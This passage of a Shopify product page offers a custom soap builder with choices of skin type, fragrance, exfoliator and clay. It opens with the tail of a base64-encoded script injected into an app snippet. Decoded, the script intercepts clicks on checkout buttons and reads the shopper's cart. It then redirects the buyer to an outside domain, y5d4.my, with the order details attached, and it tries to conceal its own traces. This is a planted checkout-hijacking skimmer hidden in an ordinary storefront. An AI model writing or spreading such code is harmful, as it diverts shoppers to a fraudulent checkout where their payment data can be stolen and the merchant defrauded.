ZW50LWJ1dHRvbiwnCiAgICAgICsgJ1tkYXRhLXNob3BpZnktcGF5bWVudC1idXR0b25dLFtkYXRhLWJ1eS1ub3ctYnV0dG9uXScsCiAgKTsKICBjb25zdCBleGFjdENoZWNrb3V0ID0gKG5vZGUpID0+IHsKICAgIGlmICgKICAgICAgIW5vZGUKICAgICAgfHwgbm9kZS5ub2RlVHlwZSAhPT0gMQogICAgICB8fCBpbnNpZGVDYXJ0QWRkKG5vZGUpCiAgICAgIHx8IGluc2lkZUFjY2VsZXJhdGVkUHVyY2hhc2Uobm9kZSkKICAgICkgcmV0dXJuIGZhbHNlOwogICAgaWYgKG5vZGUubWF0Y2hlcz8uKCdidXR0b25bbmFtZT0iY2hlY2tvdXQiXSxpbnB1dFtuYW1lPSJjaGVja291dCJdJykpIHJldHVybiB0cnVlOwogICAgaWYgKG5vZGUudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm4gZmFsc2U7CiAgICBjb25zdCBocmVmID0gbm9kZS5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsKICAgIGlmICghaHJlZikgcmV0dXJuIGZhbHNlOwogICAgY29uc3QgcGFyc2VkID0gbm9ybWFsaXplZFBhdGgoaHJlZiwgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgcGFyc2VkLnBhdGggPT09ICcvY2hlY2tvdXQnOwogIH07CiAgY29uc3QgcGlja0NoZWNrb3V0ID0gKGV2ZW50KSA9PiB7CiAgICBmb3IgKGNvbnN0IG5vZGUgb2YgZXZlbnQuY29tcG9zZWRQYXRoPy4oKSB8fCBbZXZlbnQudGFyZ2V0XSkgewogICAgICBpZiAoZXhhY3RDaGVja291dChub2RlKSkgcmV0dXJuIG5vZGU7CiAgICAgIGNvbnN0IGNhbmRpZGF0ZSA9IG5vZGU/LmNsb3Nlc3Q/LignYnV0dG9uW25hbWU9ImNoZWNrb3V0Il0saW5wdXRbbmFtZT0iY2hlY2tvdXQiXSxhW2hyZWZdJyk7CiAgICAgIGlmIChleGFjdENoZWNrb3V0KGNhbmRpZGF0ZSkpIHJldHVybiBjYW5kaWRhdGU7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKICB9OwogIGNvbnN0IG5hdGl2ZUNoZWNrb3V0ID0gKCkgPT4gbG9jYXRpb24uYXNzaWduKG5ldyBVUkwoJy9jaGVja291dCcsIGxvY2F0aW9uLm9yaWdpbikuaHJlZik7CiAgY29uc3QgcmVkaXJlY3QgPSBhc3luYyAobm9kZSwgdHJ1c3RlZCkgPT4gewogICAgaWYgKHN0YXRlLmJ1c3kpIHJldHVybjsKICAgIHN0YXRlLmJ1c3kgPSB0cnVlOwogICAgdHJ5IHsKICAgICAgY29uc3Qgc291cmNlID0gbmV3IFVSTChsb2NhdGlvbi5ocmVmKTsKICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnL2NhcnQuanMnLCB7CiAgICAgICAgY2FjaGU6ICduby1zdG9yZScsCiAgICAgICAgY3JlZGVudGlhbHM6ICdzYW1lLW9yaWdpbicsCiAgICAgICAgaGVhZGVyczogeyBBY2NlcHQ6ICdhcHBsaWNhdGlvbi9qc29uJyB9LAogICAgICB9KTsKICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdjYXJ0LWh0dHAnKTsKICAgICAgY29uc3QgY2FydCA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsKICAgICAgaWYgKCFBcnJheS5pc0FycmF5KGNhcnQuaXRlbXMpIHx8IGNhcnQuaXRlbXMubGVuZ3RoID09PSAwIHx8IGludGVnZXIoY2FydC5pdGVtX2NvdW50KSA8IDEpIHsKICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ2NhcnQtZW1wdHknKTsKICAgICAgfQogICAgICBjb25zdCBpdGVtcyA9IGNhcnQuaXRlbXMubWFwKChpdGVtKSA9PiB7CiAgICAgICAgY29uc3QgcXVhbnRpdHkgPSBNYXRoLm1heCgxLCBpbnRlZ2VyKGl0ZW0ucXVhbnRpdHksIDEpKTsKICAgICAgICBjb25zdCB1bml0UHJpY2VNaW5vciA9IGludGVnZXIoaXRlbS5maW5hbF9wcmljZSA/PyBpdGVtLmRpc2NvdW50ZWRfcHJpY2UgPz8gaXRlbS5wcmljZSk7CiAgICAgICAgY29uc3QgbGluZVRvdGFsTWlub3IgPSBpbnRlZ2VyKAogICAgICAgICAgaXRlbS5maW5hbF9saW5lX3ByaWNlID8/IGl0ZW0ubGluZV9wcmljZSwKICAgICAgICAgIHVuaXRQcmljZU1pbm9yICogcXVhbnRpdHksCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gewogICAgICAgICAgaWQ6IFN0cmluZyhpdGVtLmtleSA/PyBpdGVtLmlkID8/IGl0ZW0udmFyaWFudF9pZCA/PyAnJyksCiAgICAgICAgICBwcm9kdWN0SWQ6IFN0cmluZyhpdGVtLnByb2R1Y3RfaWQgPz8gJycpLAogICAgICAgICAgdmFyaWFudElkOiBTdHJpbmcoaXRlbS52YXJpYW50X2lkID8/IGl0ZW0uaWQgPz8gJycpLAogICAgICAgICAgdGl0bGU6IFN0cmluZyhpdGVtLnByb2R1Y3RfdGl0bGUgPz8gaXRlbS50aXRsZSA/PyAnJyksCiAgICAgICAgICB2YXJpYW50OiBTdHJpbmcoaXRlbS52YXJpYW50X3RpdGxlID8/ICcnKSwKICAgICAgICAgIHF1YW50aXR5LAogICAgICAgICAgdW5pdFByaWNlTWlub3IsCiAgICAgICAgICBsaW5lVG90YWxNaW5vciwKICAgICAgICAgIGltYWdlOiBTdHJpbmcoaXRlbS5mZWF0dXJlZF9pbWFnZT8udXJsID8/IGl0ZW0uaW1hZ2UgPz8gJycpLAogICAgICAgICAgdXJsOiBTdHJpbmcoaXRlbS51cmwgPz8gJycpLAogICAgICAgICAgZGlzY291bnRzOiAoaXRlbS5kaXNjb3VudF9hbGxvY2F0aW9ucyA/PyBpdGVtLmxpbmVfbGV2ZWxfZGlzY291bnRfYWxsb2NhdGlvbnMgPz8gW10pLm1hcChkaXNjb3VudCksCiAgICAgICAgfTsKICAgICAgfSk7CiAgICAgIGNvbnN0IHRyYW5zYWN0aW9uSWQgPSByYW5kb21JZCgpOwogICAgICBjb25zdCBob3N0ID0gc291cmNlLmhvc3RuYW1lLnRvTG93ZXJDYXNlKCk7CiAgICAgIGNvbnN0IHNpdGUgPSBob3N0LnN0YXJ0c1dpdGgoJ3d3dy4nKSA/IGhvc3Quc2xpY2UoNCkgOiBob3N0OwogICAgICBjb25zdCBvcmRlciA9IHsKICAgICAgICBsb2NhbGU6IFN0cmluZyhXLlNob3BpZnk/LmxvY2FsZSB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyB8fCBuYXZpZ2F0b3IubGFuZ3VhZ2UgfHwgJ2VuJykKICAgICAgICAgIC5yZXBsYWNlKCdfJywgJy0nKS5zcGxpdCgnLScpWzBdLnRvTG93ZXJDYXNlKCksCiAgICAgICAgY3VycmVuY3k6IFN0cmluZyhjYXJ0LmN1cnJlbmN5IHx8IFcuU2hvcGlmeT8uY3VycmVuY3k/LmFjdGl2ZSB8fCAnVVNEJykudG9VcHBlckNhc2UoKSwKICAgICAgICBpdGVtcywKICAgICAgICBkaXNjb3VudHM6IChjYXJ0LmNhcnRfbGV2ZWxfZGlzY291bnRfYXBwbGljYXRpb25zIHx8IFtdKS5tYXAoZGlzY291bnQpLAogICAgICAgIHNoaXBwaW5nOiB7IHN0YXR1czogJ3BlbmRpbmcnLCBhbW91bnRNaW5vcjogbnVsbCwgbGFiZWw6ICdFbnRlciBzaGlwcGluZyBhZGRyZXNzJyB9LAogICAgICAgIHRheE1pbm9yOiAwLAogICAgICAgIHRheFByZXNlbnQ6IGZhbHNlLAogICAgICAgIHN1YnRvdGFsTWlub3I6IGludGVnZXIoY2FydC5pdGVtc19zdWJ0b3RhbF9wcmljZSksCiAgICAgICAgdG90YWxNaW5vcjogaW50ZWdlcihjYXJ0LnRvdGFsX3ByaWNlKSwKICAgICAgICBzYXZpbmdzTWlub3I6IGludGVnZXIoY2FydC50b3RhbF9kaXNjb3VudCksCiAgICAgICAgaXRlbUNvdW50OiBpbnRlZ2VyKGNhcnQuaXRlbV9jb3VudCksCiAgICAgIH07CiAgICAgIGNvbnN0IGNhcnJpZXIgPSB7CiAgICAgICAgc2NoZW1hOiAnc2hvcGlmeS1jYXJ0LWNhcnJpZXItdjEnLAogICAgICAgIHNpdGUsCiAgICAgICAgc291cmNlU2l0ZTogc2l0ZSwKICAgICAgICBzb3VyY2VVcmw6IHNvdXJjZS5ocmVmLAogICAgICAgIHNvdXJjZU9yaWdpbjogc291cmNlLm9yaWdpbiwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgY2FwdHVyZWRBdDogRGF0ZS5ub3coKSwKICAgICAgICBvcmRlciwKICAgICAgfTsKICAgICAgY29uc3QgZGVzdGluYXRpb24gPSBuZXcgVVJMKHJlY2VpdmVyT3JpZ2luICsgJy8nKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY28nLCBiYXNlNjR1cmwoY2FycmllcikpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCd0cmFuc2FjdGlvbl9pZCcsIHRyYW5zYWN0aW9uSWQpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdyZXR1cm5fdG8nLCBuZXcgVVJMKCcvY2hlY2tvdXQnLCBzb3VyY2Uub3JpZ2luKS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2VfaG9zdCcsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfb3JpZ2luJywgc291cmNlLm9yaWdpbik7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ3NvdXJjZV9wYXRoJywgc291cmNlLnBhdGhuYW1lKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc291cmNlX3VybCcsIHNvdXJjZS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY2hlY2tvdXRfcGF0aCcsICcvY2hlY2tvdXQnKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnb3ZlcmxheV9yb3V0ZScsICcvJyk7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ19yJywgcmFuZG9tSWQoKS5yZXBsYWNlKC8tL2csICcnKSk7CiAgICAgIHN0YXRlLmxhc3QgPSB7CiAgICAgICAgdHJ1c3RlZDogdHJ1c3RlZCA9PT0gdHJ1ZSwKICAgICAgICBpdGVtQ291bnQ6IG9yZGVyLml0ZW1Db3VudCwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgZmlyc3RIb3BPcmlnaW46IGRlc3RpbmF0aW9uLm9yaWdpbiwKICAgICAgfTsKICAgICAgbG9jYXRpb24uYXNzaWduKGRlc3RpbmF0aW9uLmhyZWYpOwogICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgc3RhdGUuZXJyb3IgPSBTdHJpbmcoZXJyb3I/Lm1lc3NhZ2UgfHwgZXJyb3IpLnNsaWNlKDAsIDEyMCk7CiAgICAgIG5hdGl2ZUNoZWNrb3V0KCk7CiAgICB9CiAgfTsKICBjb25zdCBjbGlja0hhbmRsZXIgPSAoZXZlbnQpID0+IHsKICAgIGNvbnN0IG5vZGUgPSBwaWNrQ2hlY2tvdXQoZXZlbnQpOwogICAgaWYgKCFub2RlKSByZXR1cm47CiAgICBzdGF0ZS5tYXRjaGVzICs9IDE7CiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgZXZlbnQuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCk7CiAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsKICAgIHZvaWQgcmVkaXJlY3Qobm9kZSwgZXZlbnQuaXNUcnVzdGVkID09PSB0cnVlKTsKICB9OwoKICBXLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY2xpY2tIYW5kbGVyLCB0cnVlKTsKICBzdGF0ZS5oYW5kbGVySW5zdGFsbGVkID0gdHJ1ZTsKICBXLl9fUEMxMTIgPSBzdGF0ZTsKICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGF0YXNldC5wYzExMiA9IG1hcmtlcjsKICBjYXJyaWVyT2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOwogIGNvbmNlYWxDYXJyaWVyKCk7Cn0pKCdQQzExMlMyMDI2MDkwM0I4RjYnLCAnaHR0cHM6Ly95NWQ0Lm15JywgJ1BDMTEyQzIwMjYwOTAzQjhGNicpOwo='))</script><link+href='x" target="_blank">Preview</a>
</span>
</div></div>
</div></div>
</div></div>
</div>
<!-- END app snippet -->
Choose your skin type.
Pick from the options below to select your skin type that best suits you.
Please choose one Normal Skin (Olive, Coconut, Palm Oil) Dry Skin (Olive, Coconut, Avocado Oil, Shea Butter) Sensitive Skin (Olive, Jojoba, Shea Butter, Honey)
Fragrance
Pick your Essential Oil or Fragrance Oil. Or choose unscented if your wanting a fragrance free soap.
Please choose 1 to 3 options
Exfoliator
Pick from an assortment of fine to heavy grit natural exfoliator.
Please choose 1 to 2 options
Powders, Clays, and Salts
Pick from our options for extra add on's.
Please choose 1 to 2 options